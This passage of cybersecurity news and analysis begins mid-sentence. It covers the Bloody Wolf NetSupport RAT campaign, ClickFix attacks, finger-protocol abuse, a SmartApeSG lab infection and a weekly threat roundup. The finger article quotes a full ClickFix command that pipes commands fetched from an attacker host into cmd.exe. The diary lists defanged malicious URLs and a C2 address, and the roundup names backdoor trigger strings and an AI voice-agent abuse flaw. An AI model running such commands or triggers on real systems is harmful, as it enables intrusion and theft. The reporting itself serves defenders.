of ‘Rey’, a key member of the Scattered Lapsus$ Hunters cybercrime group. Krebs says Rey is 16-year-old Saif Al-Din Khader from Amman, Jordan. The teen reportedly admitted that he is Rey and claimed he is trying to retire from Scattered Lapsus$ Hunters while also collaborating with law enforcement in Europe, but Krebs was unable to verify those claims. TP-Link sues Netgear over false China link claims TP-Link has filed a lawsuit against Netgear in Delaware, accusing it of defamatory claims as part of a smear campaign falsely claiming that TP-Link has ties to the Chinese government. Underlining that it is incorporated and headquartered in California, TP-Link claims that Netgear’s campaign is creating an unfair advantage in the marketplace and that the false assertions violate federal and state laws. Comcast agrees to $1.5 million fine over vendor data breach Telecommunications provider Comcast has agreed (PDF) to pay a $1.5 million fine to settle an FCC investigation into a data breach at one of its third-party services providers. The incident occurred in February 2024 and involved debt collection agency Financial Business and Consumer Solutions (FBCS). Roughly 238,000 Comcast customers were impacted. High-severity Firefox vulnerability Aisle has published technical details on CVE-2025-13016, a high-severity vulnerability in Firefox’s WebAssembly engine that could lead to remote code execution. The vulnerable code was added to the browser in April 2025 alongside its own regression test, but remained unnoticed until October. It was patched in Firefox 145. “The vulnerable code passed code review, included a test specifically designed to exercise the same code path, and shipped in multiple Firefox releases,” Aisle notes. Gainsight says only a handful of customers affected by Salesforce attack The investigation into the attack that disrupted Gainsight-Salesforce integrations last week continues, but Gainsight continues to downplay the impact from the incident. After the company said last week that only three organizations were impacted by the data breach, its CEO said on Tuesday that only “a handful of customers” had their data compromised. Google, on the other hand, told the media that roughly 200 Salesforce instances might have been affected. ShadowV2 IoT botnet active during AWS outage ShadowV2, a Mirai-based botnet ensnaring vulnerable IoT devices, mainly routers, was seen active at the end of October, during a massive AWS outage that affected organizations in multiple countries worldwide. “So far, the malware appears to have only been active during the time of the large-scale AWS outage. We believe this activity was likely a test run conducted in preparation for future attacks,” Fortinet says. In September, Darktrace revealed that ShadowV2 was targeting Docker daemons running on internet-accessible AWS cloud instances. Bloody Wolf APT expands operations across Central Asia The Bloody Wolf APT is impersonating government agencies, mainly ministries of justice, in fresh attacks against entities in a broader set of countries in Central Asia, Group-IB reports. Relying on spear-phishing, the hacking group was seen deploying the STRRAT malware and the legitimate remote administration tool NetSupport. Historically, it has been targeting entities in Kazakhstan and Russia, but recently expanded to Kyrgyzstan and Uzbekistan. Related: In Other News: ATM Jackpotting, WhatsApp-NSO Lawsuit Continues, CISA Hiring Related: In Other News: Deepwatch Layoffs, macOS Vulnerability, Amazon AI Bug Bounty

The threat actor known as Bloody Wolf has been attributed to a cyber attack campaign that has targeted Kyrgyzstan since at least June 2025 with the goal of delivering NetSupport RAT. As of October 2025, the activity has expanded to also single out Uzbekistan, Group-IB researchers Amirbek Kurbanov and Volen Kayo said in a report published in collaboration with Ukuk, a state enterprise under the Prosecutor General's office of the Kyrgyz Republic. The attacks have targeted finance, government, and information technology (IT) sectors. "Those threat actors would impersonate the [Kyrgyzstan's] Ministry of Justice through official looking PDF documents and domain names, which in turn hosted malicious Java Archive (JAR) files designed to deploy the NetSupport RAT," the Singapore-headquartered company said. "This combination of social engineering and accessible tooling allows Bloody Wolf to remain effective while keeping a low operational profile." Bloody Wolf is the name assigned to a hacking group of unknown provenance that has used spear-phishing attacks to target entities in Kazakhstan and Russia using tools like STRRAT and NetSupport. The group is assessed to be active since at least late 2023. The targeting of Kyrgyzstan and Uzbekistan using similar initial access techniques marks an expansion of the threat actor's operations in Central Asia, primarily impersonating trusted government ministries in phishing emails to distribute weaponized links or attachments. The attack chains more or less follow the same approach in that the message recipients are tricked into clicking on links that download malicious Java archive (JAR) loader files along with instructions to install Java Runtime. While the email claims the installation is necessary to view the documents, the reality is that it's used to execute the loader. Once launched, the loader then proceeds to fetch the next-stage payload (i.e., NetSupport RAT) from infrastructure that's under the attacker's control and set up persistence in three ways - Creating a scheduled task Adding a Windows Registry value Dropping a batch script to the folder "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" The Uzbekistan phase of the campaign is notable for incorporating geofencing restrictions, thereby causing requests originating outside of the country to be redirected to the legitimate data.egov[.]uz website. Requests from within Uzbekistan have been found to trigger the download of the JAR file from an embedded link within the PDF attachment. Group-IB said the JAR loaders observed in the campaigns are built with Java 8, which was released in March 2014. It's believed that the attackers are using a bespoke JAR generator or template to spawn these artifacts. The NetSupport RAT payload is an old version of NetSupport Manager from October 2013. "Bloody Wolf has demonstrated how low-cost, commercially available tools can be weaponized into sophisticated, regionally targeted cyber operations," it said. "By exploiting trust in government institutions and leveraging simple JAR-based loaders, the group continues to maintain a strong foothold across the Central Asian threat landscape."

A widening cyber campaign using legitimate remote-access software to infiltrate government targets has been identified by cybersecurity researchers. The operation, discovered by Group-IB and UKUK and carried out by the Bloody Wolf advanced persistent threat (APT) group, shows a shift from traditional malware to a streamlined Java-based delivery method that deploys the NetSupport remote administration tool (RAT). The firms noted that, since it became active late in 2023, the Bloody Wolf group has continued to refine its techniques. Activity Spreads Beyond Initial Targets Advisories published this week report the discovery of a sustained campaign operated by Bloody Wolf in Kyrgyzstan since at least June 2025, before extending its reach to Uzbekistan by early October. Analysts observed that the group continues to impersonate the country’s Ministry of Justice through convincing PDF documents, spoofed domains and instructions urging victims to install Java to view supposed case materials. Short messages embedded in the lures help the attackers preserve a sense of legitimacy. The researchers attributed the findings to a joint investigation drawing on threat intelligence data and analysis of the threat group’s infrastructure. They noted that the Uzbekistan infrastructure was configured with geofencing, redirecting anyone outside the country to a legitimate government site while serving malicious JAR downloads to local users. How the Infection Chain Works Once a victim opens the downloaded JAR file, the loader retrieves additional components and ultimately installs NetSupport RAT for remote control. The loaders, built using Java 8, contain a single class and no obfuscation. Although small, they automate several tasks: Fetching NetSupport binaries over HTTP Adding persistence via autorun entries Creating scheduled tasks Displaying fake error messages to distract users These loaders also include a launch-limit counter set to 3, stored in the user profile directory, meaning the malware will run only a limited number of times before stopping to reduce the chance of drawing attention. Analysts also said the group leverages a custom JAR generator to mass-produce samples with varying download paths, registry entries and error messages. While the actors previously used STRRAT, they now rely on an older 2013 version of NetSupport Manager, likely sourced from publicly available licenses. The report concludes that this mixture of social engineering and low-cost tools allows Bloody Wolf to maintain a steady operational tempo across Central Asia. “This combination of social engineering and accessible tooling allows Bloody Wolf to remain effective while keeping a low operational profile. Its shift from traditional malware to legitimate remote-administration software indicates an ongoing evolution of tactics aimed at evading detection and blending into normal IT activity,” Group-IB wrote. “Given the group’s adaptability and persistence, organizations in Central Asia should remain vigilant for expected continued spear-phishing activity and evolving infection chains in the near future.”

Hackers have been busy again this week. From fake voice calls and AI-powered malware to huge money-laundering busts and new scams, there’s a lot happening in the cyber world. Criminals are getting creative — using smart tricks to steal data, sound real, and hide in plain sight. But they’re not the only ones moving fast. Governments and security teams are fighting back, shutting down fake networks, banning risky projects, and tightening digital defenses. Here’s a quick look at what’s making waves this week — the biggest hacks, the new threats, and the wins worth knowing about. Mirai-based malware resurfaces with new IoT campaignThe threat actors behind the Mirai-based ShadowV2 botnet have been observed infecting IoT devices across industries and continents. The campaign is said to have been active only during the Amazon Web Services (AWS) outage in late October 2025. It's assessed that the activity was "likely a test run conducted in preparation for future attacks," per Fortinet. The botnet exploited several flaws, including CVE-2009-2765 (DDWRT), CVE-2020-25506, CVE-2022-37055, CVE-2024-10914, CVE-2024-10915 (D-Link), CVE-2023-52163 (DigiEver), CVE-2024-3721 (TBK), and CVE-2024-53375 (TP-Link), to recruit susceptible gear into a zombie army of IoT devices. A successful exploitation is followed by the execution of a downloader shell script that delivers the ShadowV2 malware for subsequent DDoS attacks. "IoT devices remain a weak link in the broader cybersecurity landscape," the company said. "The evolution of ShadowV2 suggests a strategic shift in the targeting behavior of threat actors toward IoT environments." It's not just ShadowV2. Another DDoS botnet named RondoDox, also based on Mirai, has weaponized over a dozen exploits to target IoT devices. "Attackers are not only motivated to target vulnerable IoT devices, but also how, if successful, they will take over previously infected devices to add them to their own botnets," F5 said. Singapore tightens messaging rules to fight spoof scamsSingapore has ordered Apple and Google to block or filter messages on iMessage and RCS-supported Messages app for Android that masquerade as government agencies, requiring the company to implement new anti-spoofing protections starting December 2025 as part of efforts to curb rising online scams. According to Straits Times, Apple has been issued a directive under the Online Criminal Harms Act, requiring the tech giant to prevent iMessage accounts and group chats from using names that mimic Singapore government agencies or the "gov.sg" sender ID. Tor bolsters privacy with new encryption upgradeThe developers behind the Tor project are preparing a major upgrade called Counter Galois Onion (CGO), which replaces the long-standing relay encryption method used across the anonymity network. "It's based on a kind of construction called a Rugged Pseudorandom Permutation (RPRP): essentially, it's a design for a wide-block cipher that resists malleability in one direction (for the encrypt operation, but not the decrypt operation)," the Tor Project said. "If we deploy this so that clients always decrypt and relays always encrypt, then we have a tagging-resistant cipher at less cost than a full SPRP [strong pseudorandom permutation]!" The updates aim to raise the cost of active attacks along a circuit, such as tagging and traffic-interception attacks, as well as prevent bad actors from tampering with encrypted traffic, add forward secrecy, and make the network more resilient. Report shows surge in phishing during 2025 shopping seasonKaspersky said it identified nearly 6.4 million phishing attacks, which targeted users of online stores, payment systems, and banks in the first ten months of 2025. "As many as 48.2% of these attacks were directed at online shoppers," it said, adding it "detected more than 2 million phishing attacks related to online gaming" and "blocked more than 146,000 Black Friday-themed spam messages in the first two weeks of November." Stealthy malware targets OpenFind mail serversESET has disclosed details of a new toolset dubbed QuietEnvelope that's specifically developed to target the MailGates email protection system of OpenFind email servers. The toolset comprises Perl scripts and three stealthy backdoors, among other miscellaneous files. "The Perl scripts are mainly responsible for deploying three passive backdoors as a loadable kernel module (LKM), an Apache module, and an injected shellcode," ESET said. "Together, they enable the attackers to have remote access to a compromised server." The LKM component ("smtp_backdoor") monitors ingress TCP traffic on port 6400 and triggers when packets contain the magic string EXEC_OPENFIND to execute the command. "The Apache module expects the command, which is executed via popen, in the custom HTTP header OpenfindMaster," it added. "The third backdoor is injected into a running mgsmtpd process. It is capable of retrieving file content and executing commands. By default, it responds with 250 OK, suggesting that the backdoor is hooked into the code that is maybe responsible for generating the SMTP response." The tool is believed to be the work of an unknown state-sponsored threat actor, given the sophistication and its ability to blend in. ESET said it found debug strings written in simplified Chinese, which is mainly used in Mainland China. Russia-linked hackers abuse MSC flaw for stealthy infectionA Bing search for "belay" leads to the website "belaysolutions[.]com," which is said to have been compromised with malicious JavaScript that performs a silent redirect to "belaysolutions[.]link" that hosts a double-extension RAR payload disguised as a PDF. Opening the initial payload exploits MSC EvilTwin (CVE-2025-26633) to inject code into mmc.exe, ultimately leading to the deployment of a loader executable that's capable of installing backdoors or stealers. "When run, mmc.exe resolves MUI paths that load the malicious snap-in instead of the legitimate one, triggering embedded TaskPad commands with an encoded PowerShell payload," Zscaler said. "Decoded via -EncodedCommand, this script downloads UnRAR[.]exe and a password-protected RAR, extracts the next stage, waits briefly, then Invoke-Expression on the extracted script." The second script displays a decoy PDF and downloads and executes the loader binary. The exact nature of the payload is unclear due to the fact that the command-and-control (C2) infrastructure is unresponsive. The attack chain has been attributed to a Russia-aligned APT group known as Water Gamayun (aka EncryptHub). NCA uncovers crypto laundering tied to Russian sanctions evasionThe U.K. has exposed two companies, Smart and TGR, which laundered money from cybercrime, drugs trade, firearms smuggling, and immigration crime for a fee, to create "clean" cryptocurrency that the Russian state could then use to evade international sanctions. The National Crime Agency (NCA) said the two entities acquired a bank in Kyrgyzstan to pose as legitimate operations. The network is known to operate in at least 28 U.K. cities and towns. "Smart and TGR collaborated to launder money for transnational crime groups involved in cybercrime, drugs, and firearms smuggling," the NCA said. "They also helped their Russian clients to illegally bypass financial restrictions to invest money in the U.K., threatening the integrity of our economy." Defender update removes lingering malicious invitesMicrosoft said it has updated Defender for Office 365 to help security teams remove calendar entries automatically created by Outlook during email delivery. While remediation actions such as Move to Junk, Delete, Soft Delete, and Hard Delete can be used to eliminate email threats from users' inboxes, the actions did not touch the calendar entry created by the original invite. "With this update, we're taking the first step toward closing that gap," the company said. "Hard Delete will now also remove the associated calendar entry for any meeting invite email. This ensures threats are fully eradicated—not just from the inbox but also from the calendar—reducing the risk of user interaction with malicious content." Thailand cracks down on Worldcoin-style biometric collectionData regulators in Thailand have ordered TIDC Worldverse, which presents the Sam Altman-founded startup, Tools for Humanity, in the country, to stop the collection of iris biometrics in exchange for World (formerly Worldcoin) cryptocurrency payments. It has also demanded the deletion of biometric data already collected from 1.2 million Thai citizens. The project has witnessed similar bans in Brazil, the Philippines, Indonesia, and Kenya. 21-year-old cybersecurity specialist detained over state criticismTimur Kilin, a 21-year-old tech entrepreneur and cybersecurity specialist, was arrested in Moscow on treason charges late last week. While the details of the case are unknown, it's suspected that Kilin may have attracted the attention of authorities after criticizing the state-backed messaging app Max and the government's anti-cybercrime legislation. Chinese-speaking group expands global smishing reach to EgyptThreat actors associated with the Smishing Triad have expanded their focus to target Egypt by setting up malicious domains impersonating major Egyptian service providers, including Fawry, the Egypt Post, and Careem. The Smishing Triad is a Chinese-speaking cybercriminal group specializing in large-scale smishing campaigns across the world using a phishing kit named Panda. "Beyond U.S. service impersonation, the smishing kit offers a wide range of international templates, including those that mimic prominent ISPs such as Du (U.A.E.)," Dark Atlas said. "These templates are designed to harvest PII from victims across different regions, significantly expanding the campaign’s global reach." Recently, Google filed a civil lawsuit in the U.S. District Court for the Southern District of New York (SDNY) against a massive Phishing-as-a-Service (PhaaS) platform called Lighthouse that has ensnared over 1 million users across 120 countries. Lighthouse is one of the PhaaS services used by the Smishing Triad. The PhaaS kits are primarily distributed through Telegram by a threat actor named Wang Duo Yu (@wangduoyu8). Privacy service ends after ties to data broker controversyMozilla has announced plans to shut down Monitor Plus, a service that allowed user data to be removed from data broker portals. The service will wind down on December 17, 2025. It was offered through a partnership with Onerep, a controversial company whose Belarusian CEO, Dimitiri Shelest, was caught running dozens of people search engine services since 2010. "Mozilla Monitor's free monitoring service will continue to provide real-time alerts and step-by-step guides to mitigate the risks of a data breach," Mozilla said. Phishing campaigns drop RATs on Russian corporate targetsA new threat actor named NetMedved is targeting Russian companies with phishing emails containing ZIP archives that include a LNK file masquerading as a purchase request, along with other decoy documents. Opening the LNK file triggers a multi-stage infection sequence that drops NetSupport RAT. The activity, per Positive Technologies, was observed in mid-October 2025. The development comes as F6 detailed new attacks mounted by VasyGrek (aka Fluffy Wolf), a Russian-speaking e-crime actor known for striking Russian companies since 2016 to deliver remote access trojans (RATs) and stealer malware. The latest set of attacks recorded between August and November 2025 involved the use of the Pay2Key ransomware, as well as malware developed by PureCoder, including PureCrypter, PureHVNC, and PureLogs Stealer. Blockchain-hosted payloads deliver AMOS, Vidar, Lumma stealersThreat actors are using legitimate websites compromised with malicious JavaScript injects to serve site visitors fake CAPTCHA checks that contain a Base64-encoded payload to display a ClickFix lure that's appropriate for the operating system by using the EtherHiding technique. This involves hiding intermediate JavaScript payloads on the blockchain and using four smart contracts deployed on the Binance Smart Chain (BSC) to ensure that the victim is not a bot and direct them to an operating system (OS)-specific contract. However, the OS-specific JavaScript is delivered only after a call to a gate contract that responds either "yes" or another value. "This gate provides the attacker with a remotely controlled feature flag," Censys said. "By altering on-chain state, the operator can selectively enable or disable delivery for specific victims, throttle execution, or temporarily disable the entire campaign." The payloads distributed throughout chains include common stealers like AMOS and Vidar. Similar drive-by compromise attacks have also been found to display counterfeit CAPTCHA verifications that leverage the ClickFix tactic to drop Lumma Stealer, according to NCC Group. Microsoft links 13M phishing emails to top PhaaS operationMicrosoft said the PhaaS toolkit known as Tycoon 2FA (aka Storm-1747) has emerged as the most prolific platform observed by the company this year. In October 2025 alone, Microsoft Defender for Office 365 blocked more than 13 million malicious emails linked to Tycoon 2FA. "More than 44% of all CAPTCHA-gated phishing attacks blocked by Microsoft were attributed to Tycoon 2FA," it said. "Tycoon2FA was also directly linked to nearly 25% of all QR code phishing attacks detected in October." First discovered in 2023, Tycoon 2FA has evolved into a potent tool that leverages real-time Adversary-in-the-Middle (AitM) techniques to capture credentials, steal session tokens, and one-time codes. "The platform delivers high-fidelity phishing pages for Microsoft 365, Gmail, and Outlook, and has become a preferred tool among threat actors due to its subscription-based, low-barrier operational model," CYFIRMA said. Malware uses AI mimicry to bypass behavioral defensesA new version of Xillen Stealer has introduced advanced features to evade AI-based detection systems by mimicking legitimate users and adjusting CPU and memory usage to imitate normal apps. Its main goal is to steal credentials, cryptocurrency, and sensitive data across browsers, password managers, and cloud environments. It's marketed on Telegram for anywhere between $99 to $599 per month. The latest iteration also includes code to use AI to detect high-value targets based on weighted indicators and relevant keywords defined in a dictionary. These include cryptocurrency wallets, banking data, premium accounts, developer accounts, and business emails, along with location indicators that include high-value countries such as the U.S., the U.K., Germany, and Japan, and other cryptocurrency-friendly countries and financial hubs. While the feature is not fully implemented by its authors, Xillen Killers, the development shows how threat actors could be leveraging AI in future campaigns, Darktrace said. FCC reverses course on telecom cybersecurity policyThe Federal Communications Commission (FCC) has scrapped a set of telecom cybersecurity rules introduced after the Salt Typhoon espionage campaign came to light last year to prevent state-sponsored hackers from breaching American carriers. The ruling came into effect in January 2025. The course reversal comes after what the FCC said were "extensive, urgent, and coordinated efforts" from carriers to mitigate operational risks and better protect consumers. The action follows "months-long engagement with communications service providers where they have demonstrated a strengthened cybersecurity posture following Salt Typhoon," the agency added, adding it has "taken a series of actions to harden communications networks and improve their security posture to enhance the agency's investigative process into communications networks outages that result from cyber incidents." This included establishing a Council on National Security and adopting rules to address cybersecurity risks to critical communications infrastructure without "imposing inflexible and ambiguous requirements." However, the FCC's announcement offers no details on how those improvements will be monitored or enforced. Teen suspects deny charges in Transport for London hackTwo British teenagers who were charged with Computer Misuse Act offenses over a cyber attack on Transport for London (TfL) last year pleaded not guilty during a court appearance last week. Thalha Jubair, 19, and Owen Flowers, 18, were arrested at their homes in East London and Walsall, respectively, by officers from the National Crime Agency (NCA) in September 2025. Unpatched flaw lets AI voice agents enable large-scale scamsA security vulnerability has been disclosed in the Retell AI API, which creates AI voice agents that have excessive permissions and functionality. This stems from a lack of sufficient guardrails that causes its large language model (LLM) to deliver unintended outputs. An attacker could exploit this behavior to stage large-scale social engineering, phishing, and misinformation campaigns. "The vulnerability targets Retell AI's ease of deployment and customizability to perform scalable phishing/social engineering attacks," the CERT Coordination Center (CERT/CC) said. "Attackers can feed publicly available resources as well as some instructions to Retell AI’s API to generate high-volume and automated fake calls. These fake calls could lead to unauthorized actions, security breaches, data leaks, and other forms of manipulation." The issue remains unpatched. Study shows cybercriminal job market mirrors real-world economyA new analysis from Kaspersky has revealed that the dark web continues to serve as a parallel labor market with its own rules, recruitment practices, and salary expectations, while also being influenced by current economic forces. "The majority of job seekers do not specify a professional field, with 69% expressing willingness to take any available work," the company said. "At the same time, a wide range of roles are represented, particularly in IT. Developers, penetration testers, and money launderers remain the most in-demand specialists, with reverse engineers commanding the highest average salaries. We also observe a significant presence of teenagers in the market, many seeking small, fast earnings and often already familiar with fraudulent schemes." Android malware hides traffic behind hacked legitimate sitesAhnLab said it discovered an Android APK malware ("com.golfpang.golfpanggolfpang") impersonating a famous Korean delivery service, while taking steps to evade security controls using obfuscation and packing techniques. The data stolen by the malware is exfiltrated to a breached legitimate site that's used for C2. "When the app is launched, it requests the permissions required to perform malicious behaviors from the user," AhnLab said. In a similar development, a malicious program disguised as SteamCleaner is being propagated via websites that advertise cracked software to deliver a Node.js script capable of communicating with a C2 server periodically and executing commands issued by the attacker. While it's not known what commands are sent via the C2 channel, AhnLab said the activity could lead to the installation of proxyware and other payloads. The counterfeit installers are hosted on GitHub repositories managed by the threat actor. ASIO chief warns of state-backed cyber threats to critical systemsDirector-General of Security Mike Burgess, the head of Australia's Security Intelligence Organisation (ASIO), disclosed that threat actors operating on behalf of China's government and military probed the country's telecoms network and key infrastructure. Burgess warned that authoritarian regimes "are growing more willing to disrupt or destroy critical infrastructure" using cyber sabotage. Espionage is estimated to have cost the country A$12.5 billion ($8.1 billion) in 2024. However, China has dismissed the remarks, stating they "spread false narratives and deliberately provoked confrontation." Fake mayor jailed for life over massive cyber scam ringAlice Guo, a 35-year-old Chinese woman who posed as a local and was elected as mayor for the city of Bamban in 2022, was sentenced to life in prison after she was found guilty of human trafficking for her role in running a huge cyber scam compound that was operating under online casinos, known locally as Philippine Offshore Gaming Operations (Pogo). Guo, along with three others, was sentenced to life in prison and a fine of 2 million pesos ($33,832). Old Windows protocol remains key target for credential theftMultiple vulnerabilities in Microsoft Windows have been exploited by threat actors to leak NTLM hashes and augment their post-exploitation efforts. These include CVE-2024-43451, which has been abused by BlindEagle and Head Mare, CVE-2025-24054, which has been abused in phishing attacks targeting Russia to deliver Warzone RAT, and CVE-2025-33073, which has been abused in "suspicious activity" against an unnamed target belonging to the financial sector in Uzbekistan. In this attack, the threat actor exploited the flaw to check if they had sufficient privileges to execute code using batch files that ran reconnaissance commands, establish persistence, dump LSASS memory, and unsuccessfully attempt to move laterally to the administrative share of another host. No further activity was detected. "While Microsoft has announced plans to phase it out, the protocol’s pervasive presence across legacy systems and enterprise networks keeps it relevant and vulnerable," Kaspersky said. "Threat actors are actively leveraging newly disclosed flaws to refine credential relay attacks, escalate privileges, and move laterally within networks, underscoring that NTLM still represents a major security liability." That’s a wrap for this week’s ThreatsDay. The big picture? Cybercrime is getting faster, smarter, and harder to spot — but awareness still beats panic. Keep your software updated, stay alert for anything that feels off, and don’t click in a hurry. The more we all stay sharp, the harder it gets for attackers to win.

Cybersecurity researchers have discovered malware campaigns using the now-prevalent ClickFix social engineering tactic to deploy Amatera Stealer and NetSupport RAT. The activity, observed this month, is being tracked by eSentire under the moniker EVALUSION. First spotted in June 2025, Amatera is assessed to be an evolution of ACR (short for "AcridRain") Stealer, which was available under the malware-as-a-service (MaaS) model until sales of the malware were suspended in mid-July 2024. Amatera is available for purchase via subscription plans that go from $199 per month to $1,499 for a year. "Amatera provides threat actors with extensive data exfiltration capabilities targeting crypto-wallets, browsers, messaging applications, FTP clients, and email services," the Canadian cybersecurity vendor said. "Notably, Amatera employs advanced evasion techniques such as WoW64 SysCalls to circumvent user-mode hooking mechanisms commonly used by sandboxes, Anti-Virus solutions, and EDR products." As is typically the case with ClickFix attacks, users are tricked into executing malicious commands using the Windows Run dialog in order to complete a reCAPTCHA verification check on bogus phishing pages. The command initiates a multi-step process that involves using the "mshta.exe" binary to launch a PowerShell script that's responsible for downloading a .NET downloaded from MediaFire, a file hosting service. The payload is the Amatera Stealer DLL packed using PureCrypter, a C#-based multi-functional crypter and loader that's also advertised as a MaaS offering by a threat actor named PureCoder. The DLL is injected into the "MSBuild.exe" process, following which the stealer harvests sensitive data and contacts an external server to execute a PowerShell command to fetch and run NetSupport RAT. "What is particularly noteworthy in the PowerShell invoked by Amatera is a check to determine if the victim machine is part of a domain or has files of potential value, e.g., crypto wallets," eSentire said. "If neither is found, NetSupport is not downloaded." The development dovetails with the discovery of several phishing campaigns propagating a wide range of malware families - Emails containing Visual Basic Script attachments that masqueraded as invoices to deliver XWorm by means of a batch script that invokes a PowerShell loader Compromised websites injected with malicious JavaScript that redirects site visitors to bogus ClickFix pages mimicking Cloudflare Turnstile checks to deliver NetSupport RAT as part of an ongoing campaign codenamed SmartApeSG (aka HANEYMANEY and ZPHP) Using fake Booking.com sites to display fake CAPTCHA checks that employ ClickFix lures to run a malicious PowerShell command that drops a credential stealer when executed via the Windows Run dialog Emails spoofing internal "email delivery" notifications that falsely claim to have blocked important messages related to outstanding invoices, package deliveries, and Request for Quotations (RFQs) in order to trick recipients into clicking on a link that siphons login credentials under the pretext of moving the messages to the inbox Attacks using phishing kits named Cephas (which first emerged in August 2024) and Tycoon 2FA to lead users to malicious login pages for credential theft "What makes Cephas noteworthy is that it implements a distinctive and uncommon obfuscation technique," Barracuda said in an analysis published last week. "The kit obscures its code by creating random invisible characters within the source code that help it evade anti-phishing scanners and obstruct signature-based YARA rules from matching the exact phishing methods."

The decades-old "finger" command is making a comeback,, with threat actors using the protocol to retrieve remote commands to execute on Windows devices. In the past, people used the finger command to look up information about local and remote users on Unix and Linux systems via the Finger protocol, a command later added to Windows. While still supported, it's rarely used today compared to its popularity decades ago. When executed, the finger command returns basic information about a user, including their login name, name (if set in /etc/passwd), home directory, phone numbers, last seen, and other details. Recently, there have been malicious campaigns utilizing the Finger protocol in what appear to be ClickFix attacks that retrieve commands to execute on devices. This is not the first time the finger command has been abused in this way, as researchers warned in 2020 that it was used as a LOLBIN to download malware and evade detection. Abusing the finger command Last month, cybersecurity researcher MalwareHunterTeam shared a batch file [VirusTotal] with BleepingComputer that, when executed, would use the "finger [email protected][.]com" command to retrieve commands from a remote finger server, which were then run locally by piping them through cmd.exe. While that host is no longer accessible, MalwareHunterTeam found additional malware samples and attacks utilizing the finger command. For example, a person on Reddit recently warned that they fell victim to a ClickFix attack that impersonated a Captcha, prompting them to run a Windows command to verify they were human. "I just fell for verify you are human win + r. What do I do?," reads the Reddit post. "I was in a rush and fell for this and ended up entering the following in my cmd prompt:" "cmd /c start "" /min cmd /c "finger [email protected][.]org | cmd" && echo' Verify you are human--press ENTER'" Although the host is no longer responding to finger requests, another Reddit user captured the output. This attack abuses the Finger protocol as a remote script delivery method, by running finger [email protected][.]org and piping its output through the Windows command processor, cmd.exe. This causes the retrieved commands to be executed, which creates a random-named path, copies curl.exe to a random filename, uses the renamed curl executable to download a zip archive disguised as a PDF [VirusTotal] from cloudmega[.]org, and extracts a Python malware package. The Python program will then be executed using pythonw.exe init.py. The final command executed is a call back to the attacker's server to confirm execution, while displaying a fake "Verify you are human" prompt to the user. It is unclear what the purpose of the Python package is, but a related batch file indicates it was an infostealer. MalwareHunterTeam also found a similar campaign that uses "finger [email protected] | cmd" to retrieve and run commands almost identical to the previously mentioned ClickFix attack. BleepingComputer found this to be a more evolved attack, with the commands looking for tools commonly used in malware research and exiting if found. These tools include filemon, regmon, procexp, procexp64, tcpview, tcpview64, Procmon, Procmon64, vmmap, vmmap64, portmon, processlasso, Wireshark, Fiddler, Everywhere, Fiddler, ida, ida64, ImmunityDebugger, WinDump, x64dbg, x32dbg, OllyDbg, and ProcessHacker. If no malware analysis tools are found, the commands will download a zip archive disguised as PDF files and extract it. However, instead of extracting a malicious Python package from the fake PDF, it extracts the NetSupport Manager RAT package. The commands will then configure a scheduled task to launch the remote access malware when the user logs in. While the current 'finger' abuse appears to be carried out by a single threat actor conducting ClickFix attacks, as people continue to fall for them, it is essential to be aware of the campaigns. For Defenders, the best way to block the use of the finger command is to block outgoing traffic to TCP port 79, which is what is used to connect to a daemon over the Finger protocol. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Introduction This diary describes a NetSupport RAT infection I generated in my lab from the SmartApeSG campaign that used a ClickFix-style fake CAPTCHA page. Known as ZPHP or HANEYMANEY, SmartApeSG is a campaign reported as early as June 2024. When it started, this campaign used fake browser update pages. But it currently uses the ClickFix method of fake CAPTCHA-style "verify you are human" pages. This campaign pushes malicious NetSupport RAT packages for its initial malware infection, and I've seen follow-up malware from these NetSupport RAT infections. How To Find SmartApeSG Activity I can usually find SmartApeSG indicators from the Monitor SG account on Mastodon. I use URLscan to pivot on those indicators, so I can find compromised websites that lead to the SmartApeSG script. The Infection Sites compromised through this campaign display pages with a hidden injected script. Given the right conditions, this script kicks off a SmartApeSG chain of events. The image below shows an example. Shown above: Injected SmartApeSG script in a page from the compromised site. In some cases, this injected script does not kick off the infection chain. I've had issues getting an infection chain during certain times of day, or if I try viewing the compromised website multiple times from the same source IP address. I don't know what the conditions are, but if those conditions are right, the compromised site shows a fake CAPTCHA-style "verify you are human" page. Shown above: Fake CAPTCHA page displayed by the compromised site. Clicking the "verify you are human" box does the following: Injects malicious content into the Windows host's clipboard Generates a pop-up with instructions to open a Run window, paste content into the window, and run it. The clipboard-injected content is a command string that uses the mshta command to retrieve and run malicious content that will generate a NetSupport RAT infection. Shown above: Following ClickFix directions to paste content (a malicious command) into the Run window. Below is a URL list of the HTTPS traffic directly involved in this infection. Shown above: HTTPS traffic directly involved in this SmartApe SG activity. Shown above: Traffic from the infection filtered in Wireshark. The malicious NetSupport RAT package stays persistent on the infected host through a Start Menu shortcut. The shortcut runs a .js file in the user's AppData\Local\Temp directory. That .js file runs the NetSupport RAT executable located in a folder under the C:\ProgramData\ directory. Shown above: The malicious NetSupport RAT package, persistent on an infected Windows host. Indicators From This Activity The following URLs were noted in traffic from this infection: hxxps[:]//frostshiledr[.]com/xss/buf.js <-- injected SmartApeSG script hxxps[:]//frostshiledr[.]com/xss/index.php?iArfLYKw hxxps[:]//frostshiledr[.]com/xss/bof.js?0e58069bbdd36e9a36 <-- fake CAPCHA page/ClickFix instructions hxxps[:]//newstarmold[.]com/sibhl.php <-- Script retrieved by ClickFix command hxxps[:]//www.iconconsultants[.]com/4nnjson.zip <-- zip archive containing malicious NetSupport RAT package hxxp[:]//194.180.191[.]121/fakeurl.htm <-- NetSupport RAT C2 traffic over TCP port 443 The following is the zip archive containing the malicious NetSupport RAT package: SHA256 hash: 1e9a1be5611927c22a8c934f0fdd716811e0c93256b4ee784fadd9daaf2459a1 File size: 9,192,105 bytes File type: Zip archive data, at least v1.0 to extract, compression method=store File location: hxxps[:]//www.iconconsultants[.]com/4nnjson.zip Saved to disk as: C:\ProgramData\psrookk11nn.zip Note: These domains change on a near-daily basis, and the NetSupport RAT package and C2 server also frequently change. --- Bradley Duncan brad [at] malware-traffic-analysis.net

